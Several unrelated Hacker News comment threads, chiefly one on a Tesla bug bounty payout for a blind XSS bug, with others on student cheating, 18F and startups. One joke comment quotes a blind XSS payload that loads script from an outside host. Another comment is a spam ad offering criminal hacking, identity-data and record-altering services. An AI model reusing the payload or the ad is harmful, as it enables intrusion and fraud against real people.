Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program - <AUTHOR> https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/ <comment><USER2> This bug probably existed because some developer thought "this is an internal application, I don't need to apply the same rigorous input/(edit: and output, as replies point out) sanitation as I do with normal sites because it's only accessible by VPN."

As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.

<comment><USER3> Could just be because the application was written by a less experienced programmer, or even outsourced?

<comment><USER4> Tesla and SpaceX are both pretty maniacal about not outsourcing programming, to my knowledge.

<comment><USER5> Interesting. Obviously they view it as a core competency. This would seem like a non-obvious and unnecessary expense to many, but (on the Tesla side) differentiates them from other automakers. Whether that results in a barrier to competition... we'll see.

<comment><USER6> Although if you believe these anecdotes from a supposed ex-employee then competency is not the word to use:

[https://twitter.com/atomicthumbs/status/1032939617404645376](https://twitter.com/atomicthumbs/status/1032939617404645376)

</comment></comment></comment></comment></comment><comment><USER7> > On a final note, Tesla's bug bounty program is fantastic. They provide a > safe haven for researchers who are in good-faith trying to hack their cars. > If you accidentally brick one, they'll even offer support in attempting to > fix it.

This is an amazingly open and refreshing policy!

<comment><USER8> Does this mean you can legally mod your car under the guise of hacking it?

<comment><USER9> It's not illegal to have a NO2 factory in your garage, it's illegal to drive it on the roads. A good-faith emissions control hacking would probably not involve long-distance highway driving or racing.

<comment><USER8> I was thinking you wouldn't have to tell Tesla this, but it's a good point because the car is connected so they would know if you were driving it or not.

</comment></comment></comment></comment><comment><USER10> What a great response and turnaround. Bug as fixed within 24 hours and paid out within a month.

I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.

<comment><USER11> A lot of other vehicle manufacturers couldn't anyway, they don't build the infotainment systems in-house, they simply just re-theme/re-badge the units from companies like Panasonic, Pioneer, Fujitsu-Ten, etc.

So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)).

Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.

<comment><USER12> I've tried reporting a bug where on a 2016 Mercedes GLA if you're playing MP3s from a USB stick the car will remember the track to play but nothing else about it, so after coming back the same track plays but with the wrong name, wrong album art, etc etc. It's literally impossible to. The dealer said they have no way to do that except for just flashing my car with a newer FW and hoping it fixes it(it didn't), messaging Mercedes UK yields no reply, posting on their official forums yields no reply.....I just gave up after a while.

</comment></comment></comment><comment><USER13> We should always, always plaude and praise companies that are at least this serious about bounty programs.

Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place).

I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada.

A less scrupulous person would have sold that information and exposed data for 1.1M people.

I am not naming the company here, even though they would totally deserve it.

<comment><USER14> I once reverse engineered a Gmail worm found in the wild. The underlying exploit ended up being a security scan bypass in Google docs. I spent a lot of time submitting a bounty report, but I made one fatal mistake: I used URL redirection in the PoC. It was automatically rejected even though that was an example of content that the scan normally detects, not the actual vulnerability. It was closed as not eligible, then silently fixed a week later.

Edit: I checked the emails to refresh my memory. A human acknowledged that it was a flaw in the security scanner and forwarded it to the drive team, then a bot (AFAICT) determined that it was not eligible based on metadata in the report.

Edit 2: I did get one thing out of it. They sent me an invitation to a Bounty Craft event in Las Vegas during Def Con which I was attending that year (likely the actions of another bot scraping the email list). I got there early and accidentally sat down in the Microsoft Security Response team's couch area while they were all up getting food. They were nice people. They realized I never picked up swag on the way in and someone took me back to the door to get it. Apparently since I was with one of the event organizer and they said "you forgot to give him a t-shirt" they assumed I was staff and gave me a staff t-shirt. The event was 100% about how the sponsor companies were investing in automated fuzzing technologies and basically didn't need bug bounty hunters anymore. Slap in the face.

<comment><USER15> Apparently google wants you to next time sell it to the highest bidder.

<comment><USER16> I understand the point you're making about incentives, but the phrasing is poor. The reason people shouldn't sell exploits to the highest bidder isn't because the vulnerable software author refuses to pay a bounty.

People shouldn't sell exploits because it's a crime that hurts people.

<comment><USER15> In the movie Independence Day the aliens computer systems were hacked with a few hours worth of work. Why were they hacked and destroyed? Because nobody reported and worked on security incidents of course. Why would anyone need to in a militaristic society?

My story is silly, of course, but the point is real. If you don't attack and then fix systems, a lot of people will get hurt.

<comment><USER16> That's better phrased, indeed. The problem with your earlier statement is that the incentives are not for the people you are talking about.

You don't offer rewards to prevent criminals from selling exploits. Criminals are going to sell exploits anyway. Bug bounties have nothing to do with criminal behavior.

Bounties are there to incentivize the honest people to do security work. And the response of an honest person being denied a bounty _IS ABSOLUTELY NOT_ to turn around and sell it.

</comment></comment></comment></comment></comment></comment><comment><USER17> All the comments on here seem to be praising Tesla for paying a bug bounty, but I'm just sitting here horrified at how much information a phone support guy is able to view remotely about owners cars, not to mention the ability to send OTA updates.

No way am I buying a connected car.

<comment><USER18> I think you might be out of options soon, if you want a new car that is. A while longer for used cars obviously.

Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)

</comment></comment><comment><USER19> The real thing you realize here is that Tesla is a software company (and it will eat the world). Getting a hotfix out that fast is the proof in the pudding.

</comment><comment><USER20> Interestingly, the car returned the (current?) speed:

Speed: 81 mph

I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?

<comment><USER21> But how would they know who to ticket? Just because your car is moving, doesn't mean you're the one driving it. If they cannot prove who was operating the vehicle at the time of infraction, they cannot issue a ticket.

<comment><USER22> That's not true, red light cameras have no problem issuing fines to the vehicle owner.

<comment><USER23> Yes, but they take a picture of the car.

What if you car is being toed by a speeding truck (or on a trailer) ?

<comment><USER24> Then you could dispute the ticket, and presumably the fact that it's being towed would be visible in the photo.

</comment></comment></comment></comment></comment><comment><USER25> I can imagine the support call:

> Did you really name your Tesla "><script src=//zlz.xss.ht></script>?

> Oh, yes, little Bobby ScriptSrc, we call him.

</comment><comment><USER26> I mentioned this to my coworkers who brought up something I hadn't thought of - would this be illegal in the USA via something such as CFAA? [https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act](https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act) He technically accessed Tesla's dashboard without authorization, for example.

<comment><AUTHOR> (Obligatory: I am not a lawyer)

This is what the "safe harbor" that the author was referring to is supposed to cover.

> Tesla considers that a pre-approved, good-faith security researcher who > complies with this policy to access a computer on a research-registered > vehicle has not accessed a computer without authorization or exceeded > authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1]

*.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at [https://amitelazari.com/%23legalbugbounty-hof](https://amitelazari.com/%23legalbugbounty-hof) and [https://github.com/edoverflow/legal-bug-bounty](https://github.com/edoverflow/legal-bug-bounty).

[1]: [https://bugcrowd.com/tesla](https://bugcrowd.com/tesla)

</comment></comment><comment><USER27> The trend of storing auth tokens in localStorage rather than httpOnly cookies is a problematic trend due to vulnerabilities like this. If you can exfiltrate an authtoken then one gets long lived access to the system.

</comment><comment><USER28> That's impressive, a support process that is responsive, don't mess about and fair. Companies around the World could learn something from this. They probably won't, but they certainly all could.

</comment><comment><USER29> Tangentially, how long did it take to get the windshield fixed? I've heard horror stories about their service.

<comment><USER30> I'm yet to fix it because the crack isn't too bad yet. Their windshield replacement is through retailers who fit their standards and not Tesla directly so I assume it won't be too bad as all they have to do is ship the wind screen.

</comment></comment><comment><USER31> What would the fix for this be? Enabling CORS only for `[https://garage.vn.teslamotors.com`](https://garage.vn.teslamotors.com`)?

<comment><USER32> CORS won't do it, because it protects the response target, not the response source.

CSP would do the trick, though.

The other fix is properly escaping things before sticking them in your markup.

<comment><USER33> > The other fix is properly escaping things before sticking them in your > markup.

Or simply not displaying user data using a markup language with built-in remote code execution.

<comment><USER32> Well, yes, there are various levels of "thinking outside the box" here that could be applied.

</comment></comment></comment></comment><comment><USER34> That was an awesome summary and a good example of the value of bug bounty programs.

</comment><comment><USER35> This is a great example of why it's terrible to have a car that can be remote controlled including the ability to push arbitrary updates. It should not be possible to use XSS to compromise a vehicle.

<comment><USER36> Following this logic, nothing should be remotely controlled because there might be security risks. Including OS updates to laptops.

<comment><USER35> Correct. No one should be able to push out arbitrary code without explicit user approval.

<comment><USER37> Users have a terrible habit of not running updates. Years of botnets suggest that automatic updates are probably the way to go.

</comment></comment></comment></comment><comment><USER38> I share my birthday with a car. I'm unsure how to feel about this, probably better than sharing it with Rupert Murdoch, but worse than sharing it with Douglas Adams.

</comment><comment><USER39> Nice to see Sam reached the front page of hacker news!</comment>


Maskbook – Encrypt Your Posts and Chats on Facebook [Alpha] - <AUTHOR> https://maskbook.io/ <comment><USER2> This is a cool idea but unless it provides a seamless UX it will probably have minimal utility but I guess you could appear enigmatic to your friends and likely shunned by the algorithm. I think a solution that doesn't rely on Facebook would be preferable and I prefer solutions that don't further the monopoly of Chrome by working exclusive to that ecosystem even though I know Firefox is used by less than 10% of people at this point.

</comment><comment><USER3> or better yet, just delete your facebook altogether. i did, & i feel great</comment>


Foreign Students Seen Cheating More Than Domestic Ones - <AUTHOR> http://www.wsj.com/articles/foreign-students-seen-cheating-more-than-domestic-ones-1465140141 <comment><USER2> If a native students finds it hard to graduate school she/he might drop out of collage but a foreign student who's struggling can't just drop out. Dropping out often means going back home as a giant failure. It's a much bigger pressure.

I'm not saying it's fine if they cheat. I'm also not ignoring the cultural differences. This is just another way of seeing this phenomenon.

<comment><USER3> I'm pleasantly surprised to see the audience on HN be aware and considerate of the socio-cultural differences.

To add a few other points to the list -

1\. The pressure is also to literally survive, and can sometimes extend to their families. It's not uncommon to find Indian students coming to the US to alleviate their families' financial condition by studying here and consequently getting a job here. A lot of times their families would have mortgaged their apartments/houses to get a loan to fund the education. I was such a student about 3 years ago. If I would have failed, not only would my parents not have an apartment anymore, but it would also be difficult for us to survive as a family (my parents earn very little). I realize this was a calculated risk and no one forced me(us) into it, but it was very pressuring regardless.

2\. While cheating is frowned upon at a run-of-the-mill Indian university, it's not dealt with as severely as at American universities. Consequently it can be a little like you were careless enough to be jaywalking in a foreign country you're visiting and finding out they're going to imprison you for it later.

3\. The immigration rules here don't help as well. You have a limited amount of time for which you can stay in the US after finishing up studies to find a job. Failing to find a job in that time results into having to go back. Sometimes you have to go back even if you found a job but didn't get through the H1 lottery.

Let me firmly state that having said all of that, I don't condone this behavior, and am unreservedly against it. I'm just glad people here on HN already have additional perspective into why this happens and I'd just like to add to it since I feel I can.

<comment><USER4> American universities are very upfront about their strict academic honesty policies, so it's not really analogous to jaywalking.

<comment><USER5> Maybe, maybe not. As with most very diverse things: it depends. Yes, googling for the honesty policies is easy, if you know they are typically referred to as the 'honor code.' I would imagine that a fair percentage of US and foreign students would be confused as to what 'honor' has to do with cheating though ("Like, chivalry is dead, bro"), but that is not an excuse. And to be fair, even though the honor codes are strict, does not mean that the cheating is not rampant. A friend's wife taught a lot of Chinese nationals as a grad student and she said that they cheated a lot. However, that was not due to maliciousness or ignorance. They knew it was 'not kosher' to cheat, but back in China it seems that these kids has the same 'don't cheat' policy but if you believed in that, you were totally screwed and the cheating was seen as a necessary evil by people at all levels of society. You had to hide it, but everyone knew everyone else did it. Now to these 17/18 year old kids newly in the US, they did not expect the system to really be any different (think back to yourself at that age). And typically it is not. You only get punished if you get caught. There really are no downsides for them. Yeah, sure, some scapegoat is made every once in a while, but how is that different than the way China works anyways? The only difference here is that you don't have to bribe as much. I mean, the average grade at Harvard is an A- [0], how could you NOT think that cheating is rampant at the very highest levels? Sure, they call it 'grade inflation', but a rose by any other name smells just as sweet.

[0][https://www.boston.com/news/local-news/2015/05/27/harvard- cl...](https://www.boston.com/news/local-news/2015/05/27/harvard-class-with-a- average-not-worried-about-grade-inflation)

<comment><USER6> Students are told about the honor codes. It's not something you have to look up.

Grade inflation has nothing to do with cheating - that's just more FUD. If a class curves to a B, and everyone cheats, the average grade is still a B.

</comment></comment></comment></comment></comment><comment><USER7> This article spends way too much time on badly substantiated differences in cultural norms, and not nearly enough on the differences in incentives and skills between international and domestic students.

English skill is an obvious one the article talks about, but along with that comes an understanding of what is likely to get caught by a professor. In other words, domestic students don't cheat as much not because they believe in norms against cheating but rather because they understand better that they will probably get caught, or they understand better how not to get caught (so they don't get caught).

The article discusses incentives as well — the risk of getting sent back to China and never coming back — but fails to consider that that risk is precisely what might make getting good grades more important for foreign students than domestic ones.

What I'm describing could be seen as a difference in cultural norms too, but there's a huge gap between not believing that you're cheating and not knowing how cheaters in America get caught.

<comment><USER8> On a similar note, I can't find the study now but I've seen the pretty much all social stratas and races commit crimes at the same rate. It's just that 'we' care about policing and charging 'others' more than ourselves.

As an example, heading East out of London the motorway is often heavy with speed cameras and often police cars (poorer end of London) . Heading West into the Cotswolds (the rich area) , there are few cameras and a high level of very fast speeding. But if you looked at a study it would appear that those from the 'poorer' areas committed more 'speed crime' as those are the only areas we are effectively policing.

I wonder if those looking for cheating also start from the position that foreign pupils are more likely to cheat and therefore spend more time looking for cheating?

<comment><USER6> This makes no sense. At a given university, foreign and domestic students _go to the same university_ and take the same classes. At best, you might argue bias with foreign-sounding names, but that would be an _extraordinary_ claim to make and would require extraordinary evidence to explain away a 5x difference in cheating.

<comment><USER8> Extraordinary?

[http://blogs.wsj.com/moneybeat/2015/02/16/study-finds- invest...](http://blogs.wsj.com/moneybeat/2015/02/16/study-finds-investor- bias-against-foreign-sounding-names/)

[http://www.nber.org/digest/sep03/w9873.html](http://www.nber.org/digest/sep03/w9873.html)

[http://www.theguardian.com/money/2009/oct/18/racism- discrimi...](http://www.theguardian.com/money/2009/oct/18/racism- discrimination-employment-undercover)

And again that is 5x more discovered cheating, what number of cheating occurred undiscovered for all groups? I'm not saying people don't cheat, because they do, I'm saying look at the environment to understand what other impacts on the number might occur.

<comment><USER6> One will note that you didn't respond to my first point, which is that your actual argument (about unequal resources devoted to policing cheating) is wrong.

So if you are going to argue the point that there is bias against foreign- sounding names, _enough bias to explain a 5x gap_ , you'll need more than roundabout inference and implication. Extraordinary evidence means direct evidence, not links to employment-related articles.

</comment></comment></comment></comment></comment><comment><USER9> Anecdotally as a TA this absolutely matches what I've seen. I think it is cultural combined with courses being much more difficult if you don't speak English well.

<comment><USER10> Back when I was a masters foreign student, I had ousted another foreign student who stole my assignment and submitted it as their own. But later I learned how their family had been in poverty and that his parents had done everything possible to get their son out to higher studies in the US and I felt really bad. Life's just more difficult for the average foreign student overall from the small sample space I experienced. That doesn't make it right but the values of right and wrong are somewhat skewed when it comes to survival.

<comment><USER11> Here's a fun aspect:

At most schools, if you know of cheating and _don 't_ report it, it's a violation of their honor code which will get you punished.

Whether it was "justified" cheating or not, it is cheating. Even if you don't want them to get in trouble, don't let yourself get screwed in the process.

<comment><USER6> I've never heard about that, and I graduated from a top college fairly recently, which leads me to believe this is not true of _most_ schools.

</comment></comment></comment></comment><comment><USER12> The idea of academic cheating being bad is not a universal value.

In Soviet K-12 it was more like in NASCAR - cool in moderation so long you don't get caught. Don't know about college.

In fact there is no word for [academic] "cheating" in Russian.

Wonder how it is in other cultures.

<comment><USER13> Anecdotal from my experience with international students:

In my college most of them went back to their countries to work in their parents' or relatives' companies (sometimes). It seemed like getting a US degree was the important part, not learning the material. With a US degree, they got a ton of interviews and jobs where they learned on the job. I know for a fact my US degree would put me at a super high advantage back in my home country, even if I knew less than people there.

<comment><USER14> > It seemed like getting a US degree was the important part, not learning the > material

I think this describes very many students of many backgrounds.

</comment></comment></comment><comment><USER15> I think it's very important to note that foreign students are not representative of immigrants as a whole.

At many schools in the US, foreign students are not eligible for financial aid. The students who are able to attend school are often wealthy (sometimes extremely wealthy), and they're in the US to check a box. They come for the diploma and then return home to do... something. They care a lot less about actually learning anything than a student who actually needs the degree to get by in post-college life.

</comment><comment><USER16> One of the reasons why cheating is rampant in India is because the examination system in most colleges is mind-numbing and uncreative. The intelligent students don't find an incentive in working hard for an examination based on a rote pattern, and the "smart" ones follow suit leading to a culture where honesty in examinations isn't important. I have seen a few of my Indian peers be able to appreciate the difference in the testing methods and change their attitude accordingly. But the "acting smart" mindset is set in far too deep in most of the students who just care about getting good grades. Having said that, I think improving the vetting procedure for the entry of international students is necessary; and sadly that does not seem to be in focus due to the revenue that students from foreign countries bring in.

<comment><USER17> > I think improving the vetting procedure for the entry of international > students is necessary; and sadly that does not seem to be in focus due to > the revenue that students from foreign countries bring in.

Agreed. I think there's an opportunity for someone to come in and one-up the SAT or ACT with a better vetting procedure for international students.

</comment></comment><comment><USER18> In Russia 9 out of 10 students are cheating on exams, The vast majority of young people especially in smaller cities don't care about actual learning of a subject, most of them do it only for a degree. No wonder they continue doing the same when they came to USA

<comment><USER19> the russian kids are probably not that much different from the american kids.

</comment></comment><comment><USER20> Five times more likely to cheat or five times more likely to get caught? I think this says more about a growing culture of people who take short-cuts than it does about people.

</comment><comment><USER21> As a former foreign student in the US, I take some offense at the generalization of all foreign students as cheating.

Now I couldn't read more than the initial lines of the article since I didn't have an account, but judging from the comments here there was no distinction between the type of foreign students.

In the name of political correctness I think one is generalizing across all foreign students, when there are wide varieties between the subgroups. I was a foreign student from Norway e.g. who studied with a lot of Indians. We have very little in common culturally and certainly with respects to the view on cheating. My impression was that cheating was endemic in India and while the Indians I knew were very nice people, they cheated an awfully lot. I simply don't think they viewed that as that bad of a thing to do. More than half I could actually see cheating through the exam. Others paid for homework.

Of course we also had different incentives in that my life did not depend that much on my American exams. For many Indians it could make the difference between poverty or wealth.

<comment><USER22> As a former foreign student in a CS / CE degree in US, I don't take offense at all.

A large proportion of students are from China. The article does focus more on those students. I think if you add India in the mix, that would overwhelm statistically all the other countries (South America, Africa, Europe etc).

> I take some offense at the generalization of all foreign students as > cheating.

Where did you read that? Can you show the quote where it says "all foreign students are cheating". I couldn't find it directly, or implied.

> when there are wide varieties between the subgroups.

They are wide variaties. But surely you don't believe their is a proportional representation from all the countries (if there are 100 students, they'll be 10 from Norway, 10 from India, 10 from Bolivia 10, etc). You are from Norway, I was from Europe as well. On average most students would probably be from China and India though.

<comment><USER21> I believe you miss the point. Stating that foreign students cheap more, implies that simply being foreign is what increases your chance of cheating. When in fact it would have been more accurate to say 3rd world students cheat more. Of course that wouldn't have been politically correct so it gets watered down.

The reason this matters is that e.g. in Japan, foreigners are described as the source of all sorts of problems, because yes statistically speaking if you throw everybody who is a foreigner into one group and run statistics on them they are significantly overrepresented on a number of bad things.

That means you would struggle with getting things like an apartment because simply being foreign labels you.

I guess in a screwed up way some people might thing this is a more democratic form of racism.

But I don't think it is a step forward when we "democratize" prejudices by creating artificial groups of people and discriminating based on that.

Would it somehow be more fear if we in Europe regarded the US as dangerous as Mexico because we artificially picked the whole of north America including Mexico to make generalizations about everybody living there?

<comment><USER22> It is a correlation based heuristic. Quantifying and splitting countries into 1st, 2nd, 3rd world would be a bit too much. Where to make the cut-offs? As a cohort, and looking simply at correlation being a foreign student in US seems to be correlated with cheating. And I speak this as a former foreign student as well.

> Stating that foreign students cheap more, implies that simply being foreign > is what increases your chance of cheating.

Not quite. The article does go into more details showing that a large number of foreign students are Chinese. So it is not as simple as being from another country. Being a foreign student in US doesn't imply being a random sample from all of the world's countries. India and China account for the majority of students and the article does focus on China quite a bit.

> When in fact it would have been more accurate to say 3rd world students > cheat more

Ok thinking about it some more. Isn't that more problematic. Is China a 3rd world country? What does 3rd world even mean anymore? Wouldn't that be deeply insulting to them?

> That means you would struggle with getting things like an apartment because > simply being foreign labels you.

I would struggle, agreed. But that is their country and if a simple heuristic works for them, well it works for them. Perhaps expanding energy and inquiring what country tenants are coming from or white/blacklisting nationalities, religions, countries and managing rules based on that is just too troublesome so they look at a general correlation.

> I guess in a screwed up way some people might thing this is a more > democratic form of racism

It is not quite the same. Unless it is really about another persons' skin color. But it is not, it is about cheating, crime, and so on. It so happens that is also correlated with certain nationalities, cultures or skin colors. Haven't been to Japan. Maybe they are really that racist, but I wouldn't be surprised if landlords just don't want to get ripped off, and managing profits and risk is what they worry about.

> Would it somehow be more fear if we in Europe regarded the US as dangerous > as Mexico because we artificially picked the whole of north America > including Mexico to make generalizations about everybody living there?

Fair to who? Maybe it would be fair to you if say you were flooded by lots of people from North America who committed crimes, picked pockets, stole, started fights in the street, threw trash all over. It might not be fair some people from US who don't behave that way typically, but the world doesn't operate on fairness.

</comment></comment></comment></comment><comment><USER23> IN NEED OF PROFESSIONAL HACKERS?

contact us on {email@example.com}. or +1(205) 900-9736

Below is a list of some of some services we offer Mobile Hacking, email, Social Media Hack, School grades changing, Clearing of criminal records, Password sniffing, Bank Transfers and Company Money-Wire services, Cyber Security, Computer Security, SMTP Any domain, Cpanel, Unlimited, Shell, RDP, Leads, Cpanel, fulls, EIN, Pin, W2, SSN, DOB, fulls for Loans, Mystery shopper, Assistant BOS, Any Country Leads, Location detecting, SQL DB penetration, Penetration testing, Software testing, Database Penetration, Website Ransoming etc

</comment><comment><USER24> Homework/project outsourcing is also rampant.

</comment><comment><USER25> They are speaking mainly about cheating by Chinese students (and also Indian ones) in the article. No data about the other foreign students?

[edit] Is it because Chinese and Indian students represent the bulk of foreign students in the US?

<comment><USER22> > No data about the other foreign students?

Because after those 2 major groups are accounted for, others are an insignificant proportion. Those minorities could be more honest than the domestic students, statistically it wouldn't matter much.

</comment></comment><comment><USER26> School teachers call it "cheating".

Management calls it "cooperation".

Our school system preps kids in a way that is different than how we work. Or at least the best way to work.

<comment><USER4> They have cooperation in schools too.

<comment><USER26> Yes, and any progress they make at it is instantly destroyed by the notion of competition. There might be a lesson where students work together, but then they all take tests individually.

Schools don't even know what they are doing. This should't be a surprise. It is a system. A system cannot understand itself.

</comment></comment></comment><comment><USER27> personal story 1: Back then at college I was once a grader for a computer science course. I reported two students' projects that matched all too perfectly and turned out one student tricked another into giving the project as a "reference" and ended up copying the whole thing. My college has zero- tolerance policy towards any kind of cheating, therefore the cheating student was booted out. These two seemed to be close friends and it was probably devastating to their mutual trust and friendship, not to mention one's academic path was basically over due to the cheating incident.

personal story 2: I took a CS course with a Matlab project as the final project. When it was close to the deadline many of my classmates including me got an email from our TA, at least the sender's name is our TA's name, saying that we needed to submit the project through email by midnight. Some of us grew suspicious that the sender's email address was a gmail account and did not end with ".edu", and the deadline never changed on the official course calendar. It turned out it was indeed someone that faked TA's identity and sent out those emails, since anyone who enrolled in the class can see their classmates' email addresses if shared. There were still some students who finished the project early and ended up emailing their project to that fake TA account. The perpetrator was never caught. (If you are from my university and majored in CS, you probably heard of this incident. It caused quite a bit of stir)

As a former grader to many college courses, cheating involves a mix of both international and domestic students. If one's educational background does not stress the consequence of cheating, he/she is likely to cheat. In this case, some cultures do not really punish students for cheating aside from scolding.

Also, giving some 5.1/100 or 1/100 ratio is pointless. Wait until you get your PhD and you will know academic dishonesty happens all the time regardless of where you are from. It's just some cheating is more clever than the other.

</comment><comment><USER28> > averages don't represent correlation

what does this even mean?

> and massive aggregate numbers tell us nothing about any member of the > population

sounds like someone cheated their way through statistics class.

<comment><USER29> Please don't respond to a comment you think is wrong by getting personally nasty. That's worse than being wrong, and takes things further in an unwanted direction.

Edit: Your comments have been breaking the HN guidelines egregiously and often. We ban accounts that do this, so please read the rules and follow them when commenting here. That means posting civilly and substantively, or not at all.

[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)

[https://news.ycombinator.com/newswelcome.html](https://news.ycombinator.com/newswelcome.html)

We detached this comment from [https://news.ycombinator.com/item?id=11844948](https://news.ycombinator.com/item?id=11844948) and marked it off-topic.

</comment></comment><comment><USER14> Regardless of the prominence of the source, this is xenophobic stereotyping. They are painting every person in a large, incredibly diverse group (at every school in the United States, and including every foreign student from every country in the world, Canada to Angola to China to Andorra!) with one broad brush. The headline itself is absurd, inflammatory sensationalism.

They have little basis: The statistics are almost meaningless; averages don't represent correlation and massive aggregate numbers tell us nothing about any member of the population. For example, the average wealth of 999 bankrupt people and Bill Gates is $75 million, a number which tells us nothing about anyone in that group.

I never thought I'd see something like this from the WSJ, or say that one of their stories should be removed from HN, but I flagged this one.

(Admittedly there's a chance of something more substantive beyond the headline and pre-paywall paragraph I can read, but I still can't imagine anything can justify that headline or the inept use of statistics to justify it.)

EDIT: Thanks for the suggestions on the web search (which I should have thought of). It turns up this headline too, in the Daily Caller; great job on spreading this story with your excellent journalism, WSJ:

 _Foreign Students Five Times As Likely To Cheat In College_

<comment><USER30> Click on the "web" link to get past the paywall.

<comment><USER14> Thanks for the suggestion, but for some reason it didn't work.

</comment></comment></comment><comment><USER31> Title should be "Foreign Student Seen 'Innovating' More Than Domestic Ones".

</comment><comment><USER32> Cue Donald Trump In 3...2...1

</comment><comment><USER33> -

<comment><USER15> Original parent comment which has now been removed:

> _In software and programming it matters little if you cheat. It works or it > 's shit. It's easy to tell the difference. And it's pretty easy to fire > interns or juniors, etc. Not only that but you don't really learn how to do > jobs anyhow._

Every single sentence in your comment is ludicrously false.

> _In software and programming it matters little if you cheat._

What if you steal software from your old employer? What if you hack a competitor? What if you base your entire project on something that you can't legally use, and then you're sued?

Outside the corporate/legal world, there are still areas where cheating is very harmful. Violating open-source licenses, pretending someone else's work is your own, etc. The open-source world works (when it does work) because of transparency and something like the honor system.

Cheating matters a _lot_ in software.

> _It works or it 's shit._

That is just complete, utter nonsense. There is a _huge_ spectrum from "good" to "shit", and "working" begins near the "shit" end.

> _It 's easy to tell the difference._

If it were easy to tell the difference, you could just throw a junior developer into a management role. Lots of juniors have the people skills and organization skills to manage a small project, but they don't have the experience to know which practices are OK in the long-run and which practices aren't.

Object-oriented programming is a great example. Many programmers in the FP camp think all OO programs are shit. Many of them took years to come to that conclusion.

If it's so easy and clear-cut, why is there little agreement on what makes good software and what doesn't?

> _And it 's pretty easy to fire interns or juniors, etc._

Not in the US and most other developed countries. Firing people is risky and expensive. I worked for a company that was sued by an ex employee for a completely bullshit reason, and the company lost $400k in legal fees that they could never recover because the employee didn't have that kind of cash.

> _Not only that but you don 't really learn how to do jobs anyhow._

You don't learn how to write code for a living, but you do learn time management and people skills, which are much more important anyway. Most coding work at most companies only requires an average worker. Would it be better to have people with amazing skills doing 100% of the work? Yes, but there aren't enough of them.

What differentiates all those average people is whether they work well on a team, how well they manage their time, and how well they learn. All those things are learned in college, and all of them are undermined by cheating.

</comment></comment><comment><USER34> Or more likely to be inspected.</comment>


VP of Google Apps Leaving to Start Own Firm - <AUTHOR> http://www.myfoxtampabay.com/dpps/news/scitech/vp-of-google-apps-leaving-to-start-own-firm-dpgonc-20120316-kh_18605194 <comment><USER2> Is this really the most authoritative news source about this story?

<comment><USER3> Straight from the man himself: [https://plus.google.com/u/0/100940716892313727285/posts/jL2g...](https://plus.google.com/u/0/100940716892313727285/posts/jL2gCC864NY)

</comment></comment><comment><USER4> Septemvirate. If you're going to use uncommon words then at least spell them correctly.</comment>


Ask HN: What have the USDS and 18F accomplished so far? - <AUTHOR> Interested in hearing about projects that have been accomplished or examples of cool things they've done. <comment><USER2> Have you visited their website? Right on the main page is a link to their projects, "Learn more about what we're building and how we're doing it.". Links to [https://18f.gsa.gov/dashboard/](https://18f.gsa.gov/dashboard/) with over a couple dozen different government projects they're involved with.

</comment><comment><USER3> May I recommend: [https://18f.gsa.gov/tags/our- projects/](https://18f.gsa.gov/tags/our-projects/) (I work at 18F)

</comment><comment><USER4> They've found a way to source programming work for a dollar.

<comment><USER5> What is your comment about? Is it all volunteer work?

<comment><USER4> They were experimenting with reverse auctions on software contracts, and the first contract went for $1. [http://www.brendansudol.com/writing/18f-micropurchase/](http://www.brendansudol.com/writing/18f-micropurchase/)

<comment><USER6> Looks like the person who won that reverse auction did a follow up here: [https://news.ycombinator.com/item?id=10570069](https://news.ycombinator.com/item?id=10570069)

<comment><USER4> Yes, that was linked to in the comment you're replying to.</comment></comment></comment></comment></comment>


Business Model Innovation  - <AUTHOR>

I find the Business Model Canvas by Alexander Osterwalder an AWESOME tool to innovate around your business model and give your company competitive edges. I first found this amazing concept in 2011 but it's only now that I'm reading its book "Business Model Generation"
The book is shifting my mindset from product innovation to business model innovation.
What do you think about the canvas, book?  Any relevant experiences, stories? <comment><USER2> I found it useful, yes. It doesn't guarantee anything, but as a framework to drive your thinking in certain areas and force you to think about innovating in areas that you might not have thought about, it's very handy.

A fun exercise is to get a small group of like minded folks together (5-7 max), print out some blank canvas forms, and huddle up around some coffee or something, and brainstorm ideas collectively. As long as no one in the group is competing with your thing and/or you trust the other people, it can be a fun way to generate new ideas for everyone.

We did something like this a while back as an RTP Hackers & Founders event and it went over very well.

Some of the frameworks ideas from the book _Blue Ocean Strategy_ are also useful in a similar way.

</comment><comment><AUTHOR> Thanks for the insight, it seems promising. I'll certainly give the exercise a try.

</comment><comment><USER3> This Open For Business Plans is quite handy: <http://openforbusinessplans.herokuapp.com/>

It's free btw.

<comment><AUTHOR> Thanks, I'll take a look at it.</comment></comment>


Show HN: WikiPop – Endangered Species Population Tracking and Crowdfunding - <AUTHOR> https://wikipop.org/ <comment><AUTHOR> Hey All - we would love to get any feedback / critique on WikiPop or hear thoughts on this topic (extinction / wildlife conservation)... The organizations we are highlighting are doing great work and while some are well known others deserve a lot more exposure and support... Thanks!</comment>


